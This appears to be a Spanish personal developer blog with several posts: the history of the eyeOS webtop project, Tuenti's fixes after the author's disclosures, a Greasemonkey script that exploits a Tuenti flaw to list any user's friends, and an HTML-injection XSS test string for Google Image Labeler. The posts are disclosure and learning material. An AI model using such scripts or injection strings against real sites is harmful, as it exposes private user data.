Pero se ve mejor entrando a la demo, y dandole a ver código fuente.

Nota importante: esto no tiene una efectividad del 100%, ya que puede que el usuario no visite su RSS de conversaciones, o visite el RSS de conversaciones de otro usuario.

La historia de eyeOS en imagenes

Seguramente todos los que habitualmente leéis este blog, sabréis que trabajo como desarrollador en el proyecto eyeOS, pero la mayoría no sabréis mucho mas que esto sobre el proyecto.

Algunos, habréis entrado a mirar a la demo que tenemos, otros habréis visitado la página del proyecto, o incluso alguno, se habrá bajado el código, sin embargo, muy pocos conocerán la historia que se esconde detrás de este proyecto español…

eyeOS es un proyecto de software libre, que desarrolla un escritorio virtual online, o también conocido como webtop, además de un conjunto de apis y librerías del sistema, para desarrollar aplicaciones dentro del webtop, con una arquitectura definida, eso es lo que es en la actualidad, pero lo interesante que quiero abordar en este post, es como ha llegado a eso, y como ha sido la vida del proyecto y la gente que lo rodea.

eyeOS nació en Olesa de Montserrat, un pequeño pueblo de los alrededores de Barcelona, en el cual, Pau Garcia-Milà tubo la idea de crear una web, que realmente fuese un escritorio, en el cual tu pudieses acceder a tus documentos, siempre y cuando, tuvieses acceso a la web. Por aquel entonces, Pau era un joven de 16 o 17 años, estudiante, con muchas ideas en la cabeza, y que programaba pequeñas cosas en sus ratos libres.

Empezó a darle vueltas a la idea, y al poco tiempo estaba trabajando, creando la que sería la primera versión de eyeOS, escogió programarlo en PHP (por aquel entonces, PHP4), al poco tiempo, se le unieron David Plaza y Marc Cercós, ambos diseñadores gráficos de Olesa.

El día 31 Julio del 2005, vio la luz la primera versión de eyeOS, numerada como 0.6.0.

eyeOS 0.6.0

eyeOS 0.6.0

Técnicamente esta versión era muy, pero que muy limitada, no podía ejecutar mas de una aplicación a la vez, no tenía ningún tipo de API unificada ni nada, sin embargo, lo que para unos eran unos cuantos centenares de lineas en PHP y XHTML, para muchos otros, era el principio de una idea que cambiaría la forma que tenemos de ver la informática… el tiempo, como veremos mas adelante, le dió la razón a uno de los dos…

Un detalle curioso de la 0.6.0 es que no tenía instalador, venía con usuario root, y password ‘r’ por defecto, había que entrar y cambiarla en primer inicio de sessión.

En esta primera versión, el trabajo de desarrollo, fue completamente de Pau, ya que no había ningún otro programador relacionado con el proyecto, y el trabajo de diseño gráfico, era básicamente de David Plaza, ya que Marc, aún estaba aprendiendo.

La licencia, fue desde el primer momento GPL, una de las cosas que Pau siempre tubo claras, es que eyeOS sería libre, no se bien bien por que, pero nunca tubo ningún tipo de duda entorno a esto, al final, los acontecimientos le demostraron que estaba en lo correcto.

Continuaron saliendo revisiones con arreglos, de eyeOS 0.6.0, hasta el 15 de agosto del mismo año, que vio la luz la versión 0.7.0:

eyeOS 0.7.0

eyeOS 0.7.0

Esta versión era básicamente una 0.6.0 mejorada, las ventanas tenían ya por fin botones minimizar y maximizar, y se podían redimensionar usando la esquina inferior derecha. En general, durante todo este tiempo, eyeOS no fue cambiando mucho, solo se iban agregando cosas pequeñas.

Y no fue hasta el 6 de septiembre del mismo año, que las cosas empezaron a cambiar…apareció la versión 0.8 del proyecto, por primera vez, con colaboración de un programador externo, que decidió colaborar altruistamente, Antoni Segura.

Otro programador externo, que empezaba a mirar el proyecto, a opinar y que posteriormente, colaboraría muy activamente, programando partes muy importantes del sistema, fue Hans B. Pufal, un francés informático de la vieja escuela, con experiencia en proyectos de software libre tan variados como NetBSD y GNU Tar.

Esta nueva versión incluía por fin, un instalador, en lugar de una contraseña de root por defecto, además, era posible abrir mas de una aplicación a la vez, aunque cada vez que abrías una aplicación nueva, se recargaban todas, pero era un principio.

eyeOS 0.8.0

eyeOS 0.8.0

Por aquel entonces, Marc continuaba aprendiendo, y poco a poco, iría tomando mas protagonismo en el proyecto, como diseñador principal, aunque de momento, el diseñador principal era David Plaza.

La versión 0.8.x de eyeOS, vivió durante mucho tiempo, hasta abril del 2006, con continuas versiones de revisión, mejoras etc, como por ejemplo la 0.8.8 donde se agregaron muchísimas mejoras técnicas y visuales.

eyeos_088

eyeOS 0.8.8

Durante todas estas revisiones y versiones de eyeOS 0.8.0, se fueron agregando traducciones del sistema, manuales, documentación, etc, y así, poco a poco, pasó de ser una idea, a ser un proyecto de software libre, o al menos, a empezar a serlo, pues a aun le quedaba un largo camino por delante.

El día 8 de Junio del 2006, vio la luz la versión 0.9.0 de eyeOS, con Hans colaborando de forma muy activa, programando colaborativamente con Pau, y Marc cada vez mas inmerso en el diseño de eyeOS, tomando mas y mas responsabilidades y encaminándose a ser el diseñador gráfico principal del proyecto.

eyeOS 0.9

eyeOS 0.9

Esta versión incluia ya un gestor de ficheros mucho mas avanzado que las anteriores, una emulación de multitarea mucho mas elaborada, y por primer vez, se incluía el editor WYSIWYG Tinymce como editor de texto del sistema.

Mas o menos por estas fechas conocí yo el proyecto, en una primera impresión me pareció increíble, pero al ver el código me desanimé bastante, era ciertamente, muy malo. Estuve varios días debatiéndome entre ayudar al proyecto o no, y finalmente, me decidí a auditarlo.

Empecé a sacarle agujeros de seguridad, que reportaba a Pau por correo, y así empezamos a entablar cierta amistad, en una extraña relación, nunca nos habíamos visto, aunque ambos vivíamos en los alrededores de Barcelona, pero hablábamos bastante, yo le reportaba agujeros de seguridad, el los arreglaba…y así estuvimos bastante tiempo.

Mientras tanto, iban apareciendo revisiones de la versión 0.9, cada vez mas y mas elaboradas.

eyeOS 0.9.3

eyeOS 0.9.3

Las mejoras entre versión y versión eran abrumadoras, cada vez estaba todo mas documentado, mejor organizado, y el sistema era mas bonito, sin embargo, la base sobre la que todo estaba montada, era un código muy malo, una prueba, un experimento que había ido a mas y mas, y que cada vez, era mas difícil sostener.

Durante todos estos meses, yo reportaba muchísimos agujeros de seguridad a Pau, todos consecuencia de la mala (o inexistente arquitectura del sistema), pero sin embargo fui cogiendo perspectiva, y entendiendo que lo que habían hecho Pau, y Hans tenía muchísimo merito, que no se trataba del nivel técnico del proyecto, ya que eso se podía arreglar, sino de como habían ido dando forma a una idea en la que mucha gente no creía por aquel entonces, y la habían hecho realidad.

Y fue alrededor de esos últimos días del 2006, que iban saliendo revisiones de 0.9, en los que fuí a Olesa por primera vez, y conocí a Pau (ese día aún no conocería a Marc ni a David Plaza).

Esa tarde Pau me habló de muchas cosas, pero yo llevaba una idea en la cabeza…había comprendido que eyeOS era una buena idea, y quería empezarlo todo de 0, con una buena arquitectura ,bien planteado, y bien programado, sin embargo, me parecía muy fuerte ir a su pueblo, a decirle que quería tirarlo todo a la basura, y empezar de 0, sin embargo lo hice, se lo dije, y Pau sorprendentemente, me dijo que estaba de acuerdo.

Ese seguramente fue uno de los momentos mas críticos de la historia del proyecto, si Pau me hubiese dicho que no, había pensado hacerlo por mi cuenta, y sabe dios como hubiesen sido las cosas entonces…

Tras la charla con Pau, estaba claro que se iba a rehacer eyeOS, y no se iba a aprovechar nada, yo ya estaba decidido a unirme al proyecto activamente, sin embargo, enseguida vi que dos programadores y dos diseñadores gráficos, seríamos pocos para crear lo que tenía en la cabeza…así que Pau contactó con un compañero suyo de la universidad, Daniel Gil, que se unió al proyecto como programador, aunque su experiencia programando era muy pequeña.

Yo hablé con mi amigo Alejandro Fiestas (actualmente desarrollador de KDE en su tiempo libre), y le propuse mi idea, y finalmente, accedió a unirse al proyecto.

Eramos ya 4 programadores, con lo que no conté es que Pau no era un entusiasta de la programación, mas bien era un visionario, alguién con mucha visión de futuro, pero poco técnico. Dani tampoco era muy técnico, y Alex si lo era, pero no tenía experiencia en PHP, la cosa no pintaba bien.

Me encerré en mi habitación durante meses (casi literalmente) y senté las bases del nuevo eyeOS, al que llamaríamos 1.0. Un sistema microkernel con módulos cargados bajo demanda, de forma transparente, donde las aplicaciones son en PHP, y dibujan sus interfaces gráficas usando Widgets (al estilo Qt o Gtk), que son clases PHP con su representación DHTML. Además diseñe un sistema de message/response para comunicar las interfaces gráficas con el sistema.

Una vez hecho todo esto, fuimos entre los 4 programando muchas partes del sistema.

Una anécdota curiosa es que la primera aplicación que se ejecutó con éxito en un eyeOS 1.0, fue un Solitario (el juego de cartas), era una prueba, que nunca vería la luz.

Durante aquellos meses, desarrollábamos en un SVN privado, para no romper la sorpresa, ya que el SVN de sourceforge, es abierto.

Mientras estábamos inmersos en el desarrollo de 1.0, en un ambiente de secretismo, en la comunidad de eyeOS empezaban a pensar que el proyecto había muerto, mucha gente hablaba del final de eyeOS.

Y finalmente, muy poco antes de sacar la nueva versión, echa desde 0, sucedió la segunda situación crítica para el proyecto, Marc se situó como líder de diseño de eyeOS, y David Plaza, acabó dejando el proyecto, al verse sustituido. A partir de ese día, todo el diseño e imagen de eyeOS, han sido fruto del trabajo e imaginación de Marc.

El día 4 de junio del 2007 eyeOS 1.0 fue publicado:

eyeOS 1.0

eyeOS 1.0

La noticia fue un boom en internet, el blog de Richard MacManus, ReadWriteWeb, publicó la noticia del lanzamiento, la cual llego a la portada de digg, con 1132 votos.

Sin embargo, poco después del gran día, eyeOS sufrió otro revés, Eduardo Perez, que había hecho las veces de asesor para convertir el proyecto en un producto maduro, desde la perspectiva empresarial, decidió dejar el proyecto, y dado que siempre estaba viajando, yo nunca tuve el placer de conocerle, aunque se que fue una de las personas mas importantes para el proyecto, en la época de las versiones 0.x.

Y esto empezaba a convertirse en una leyenda negra que se cernía como eyeOS, el pequeño equipo del proyecto, entre David Plaza y Eduardo Perez, ya había sufrido dos bajas a causa de la versión 1.0, lo cual me llevó a preguntarme si estaba haciendo bien las cosas, pero finalmente imagino que fueron casualidades.

Además, Hans B. Pufal se había alejado del proyecto, ya que no participó en el desarrollo de 1.0, y finalmente, acabó estando fuera completamente.

Tanta gente dejando el proyecto y una nueva versión completamente reescrita de 0, estaban creando un clima en el proyecto, en el que todos intuíamos que una nueva época estaba empezando alrededor de eyeOS, aunque aún no sabíamos cuan grande sería el cambio.

Durante 2007 fuimos sacando versiones, mejoras muy variadas, nuevas aplicaciones, mas velocidad en el sistema etc..

eyeOS 1.6

eyeOS 1.5

Durante el 2007, eyeOS mejoró muchísimo, Marc cada vez iba siendo mas profesional, creando diseños muy elaborados y completos, Dani iba adquiriendo experiencia en PHP y empezaba a crear aplicaciones complejas en el sistema, Alex era ya todo un “hacker” de Javascript y PHP, habiendo creado el calendario de eyeOS, el cual todavía mantiene, entre otras muchas cosas.

Yo había progresado mucho técnicamente, pero además, había aprendido que no existe la arquitectura perfecta, eyeOS 1.x era una versión perfecta, pero veía que siempre podía ser mejor, que siempre podía hacerlo mejor…veía que era el cuento sin final, esto me cambió mucho profesionalmente y como persona, aprendí a aceptar un nivel de calidad determinado, y dejé de perseguir la perfección, fue entonces cuando comprendí lo que Pau sentía de su anterior sistema eyeOS 0.x, que por mucho que te esfuerces, siempre puede ser mejor.

Con tanto cambio, Pau cada vez programaba menos, hasta que alrededor de eyeOS 1.5 o un poco antes, ya no programaba nada, y empezó a hacer otras cosas, a ser la cara pública del proyecto, a dar conferencias etc.

Durante ese tiempo, eyeOS se formó como empresa con Pau, Marc, Alex, Dani y Yo como fundadores, y empezó a ofrecer servicios de pago, adaptaciones, desarrollos a medida, instalaciones, etc.

Pronto empezamos a crecer, y tener empleados, y en la actualidad, después de toda esta historia, yo dirijo el departamento técnico, donde desarrollamos soluciones profesionales para terceros, Alex dirige la comunidad y el proyecto de software libre, Dani dirige el departamento de soporte y las comunicaciones con los clientes, Marc el departamento de diseño, y Pau es una mezcla entre presales y director general adjunto.

Durante 2008 se nos unió Pol Watine, un francés con muchísima experiencia en el sector de internet y empresas, que nos ayudó a crear, organizar y hacer funcionar la empresa, y nos enseñó muchísimas cosas sobre startups, actualmente es parte del equipo fundador.

Dentro de poco saldrá la nueva versión de eyeOS, 1.8.5 fruto de muchísimo trabajo por parte de todo el equipo:

eyeOS 1.8.5

eyeOS 1.8.5

Creo que es bueno reflexionar y ver que detrás de proyectos y empresas de software, existen personas, aventuras, ideas que en su día parecieron locuras, sueños…y que todo eso se junta de alguna forma mágica, y si se dan una serie de casualidades, si todo sucede en el orden exacto, el proyecto prospera, y que si solo una de esas cosas falla, todo se derrumba, sin embargo existe un tipo de persona especial, como Pau, que es capaz de quedarse en los peores momentos, y levantar la moral a todo el mundo. Ese tipo de personas, marcan la diferencia entre el éxito y el fracaso.

Estoy orgulloso de lo que he hecho en eyeOS, pero mucho mas de trabajar con gente como Pau, Alex o Marc, que en la actualidad, y después de tanta aventura, son grandísimos profesionales.

Quería explicar muchísimo mas, pero el artículo es demasiado largo ya, y me he dejado por el camino, olvidados a muchísima gente que ha sido importante para eyeOS, pero es imposible nombrarlos a todos aquí, la historia de eyeOS es demasiado larga para un artículo de mi blog :)

Me he olvidado de contar la historia de Lars, un alemán que desde los 15 años se fascinó por eyeOS y empezó a programar para el, de forma completamente increíble para su edad, o de Matthew Powel, o de Daniel Sousa, o de todos los empleados que hacen crecer a eyeOS día a día, pero si os interesa conocer realmente eyeOS, lo mejor es que os unáis y participéis en la comunidad, o en sus foros.

eyeOS continua progresando, stay tuned!

Tuenti solventa todos los agujeros de seguridad comunicados

No suelo hacer entradas cortas y sin contenido (sin experimentos, bugs, o cosas raras), pero creo que la historia del bug de tuenti, merece explicar el desenlace.

tuenti

Continuando con el anterior post, sobre un agujero de seguridad en tuenti, durante estos últimos días he estado en contacto con Ícaro Moyano, director de comunicación de tuenti, el cual ha mostrado mucho interés y ha sido muy proactivo y comunicativo para solventar cuanto antes los errores de seguridad.

Aparte del problema con los amigos, existían otros agujeros de seguridad de tipo XSS, en la gestión de eventos de la web, permitiendo crear un evento, y al mandar la invitación a un tercero, robarle la cookie y con ello, su sesión.

A diferencia de lo que suele pasar al contactar con ciertas compañías, toda la gente de tuenti ha sido muy amable y comunicativa, y se ha preocupado muchísimo por solventar todos los errores cuanto antes.

En contraposición con esto, se está creando una falsa imagen negativa en la red, sobre la seguridad en tuenti, ya que mucha gente empieza a pensar que dicha red social es insegura, solo por que se le encuentran problemas de seguridad. La realidad es que todos los servicios 2.0 tienen agujeros de seguridad, absolutamente todos, lo que hace seguros a unos, e inseguros a otros, es como actúan ante ellos, y en el caso de tuenti, ha sido impecable.

Ahora tuenti es un poquito mas seguro :)

Agujero de seguridad en Tuenti

Normalmente no frecuento las webs sociales, como Tuenti, o Facebook, sin embargo, hoy me ha dado por cotillear un poco a unos amigos, que tienen tuenti.

El tuenti es entretenido, tanto que me he puesto a cotillear y no he parado, sin embargo, ha llegado un momento, que para continuar mi cotilleo, me hubiese sido útil poder ver la lista de amigos de alguien que no es mi amigo, sin embargo, en teoría eso no se puede…

Me he puesto a investigar, y he comprobado que para ver la lista de amigos de un amigo tuyo, utilizas un link tal como:

http://www.tuenti.com/#m=amigos&uid=X

Donde X es el uid (el número identificador único de tu amigo).

Lo interesante, es que si en lugar del número uid de nuestro amigo, ponemos cualquier otro, podemos ver también la lista de sus amigos.

Parecía que ya lo tenía todo, que ya podía ver quien era amigo de fulanito, pese a que fulanito no me tenía como amigo a mi…sin embargo, es muy incomodo ir mirando el uid de fulanito para ver quien es su amigo y quien no…por ello, me decidí a crear un script greasemonkey que agrega un botón ‘Ver amigos sus amigos’ al lado del botón ‘Agregar amigo’ de un contacto que no es tu amigo.

El script greasemonkey es este:

// ==UserScript==
// @name           tuentihacks
// @namespace      tuenti
// @include        http://www.tuenti.com/*
// ==/UserScript==

var column = document.getElementById(‘column-550′);
var els = column.getElementsByTagName(‘a’);

myRe = /addFriend\(([0-9]+)/g;
for (var i = 0; i < els.length; i++) {
var clk = els[i].getAttribute(‘onClick’);
var arr = myRe.exec(clk);
if(arr) {
var id = arr[1];
var btn = document.createElement(‘a’);
btn.setAttribute(‘href’,'http://www.tuenti.com/#m=amigos&uid=’+id);
btn.className = ‘blue’;
btn.innerHTML = ‘ | Ver sus amigos’;
els[i].parentNode.appendChild(btn);
}
}

Un screenshot en funcionamiento:

imagen-42

Realmente, tuenti tiene mas bugs que he encontrado, pero son mas serios y esos los comunicaré por privado a sus administradores, he decidido publicar este, por que no es ningún drama, y es gracioso :)

Actualización: La gente de tuentiadictos ha tenido la amabilidad de colgar el script por separado para que sea mas fácil instalarlo en greasemonkey, podéis instalarlo desde aquí.

Vulnerabilidad XSS en google image labeler (no explotable)

Bueno, tras mucho tiempo sin actualizar el blog, por motivos personales… hoy he decidido volver a escribir por aquí.

Han pasado muchas cosas desde que escribí la última entrada del blog…me he comprado una blackberry storm, un macbook 5.1…etc, ya jugaré con ellos y publicaré como siempre, mis descubrimientos.

El caso es que hoy me ha pasado algo curioso, estaba buscando una imagen en google image search, cuando veo que debajo hay un link a una nueva herramienta de google, llamada google image labeler, donde te pones un nick, y tagueas imágenes, consiguiendo puntos.

Esta herramienta es sencilla, se basa en que como hay muchas personas usando google image labeler, te muestran una imagen a ti, y una imagen a otra persona, ambos sugerís tags sobre la imagen, y los que coincidan, se aceptan como tags válidos, de esta forma, no se pueden meter tags basura, ya que para que te acepten un tag sobre una imagen, otro usuario escogido al azar, debe sugerir el mismo tag que tu.

La idea es muy buena, estuve jugando un rato y agregué tags a unas 200 imágenes sin darme cuenta, es entretenido.

El caso es que en la pantalla principal, cuando entras, te pide que introduzcas un nick para jugar, en ese campo, si introduces código html, por ejemplo:

“><hr>

Dicho código se ejecuta en el contexto de la página, produciendo lo que conocemos como XSS (Cross Site Scripting). Además, esto solo sucede si al introducir el nick, pulsamos intro (enter), si pulsamos sobre el botón ‘Ok’, los caracteres especiales se filtran, sin que se produzca el XSS.

xss en google image labeler

XSS en google image labeler

Es un bug curioso, que se filtre si pulsas Ok, pero no cuando pulsas intro en la caja de texto, seguramente no es explotable (o yo no he sabido ver la manera…), pero tiene su gracia ver una página con un XSS, y en la barra de direcciones, google.com.

Como vemos, nadie está a salvo de los despistes, en este caso parece ser que es inofensivo, pero este tipo de despistes (filtrar en un sitio si, en otro no) son muy muy peligrosos cuando desarrollamos.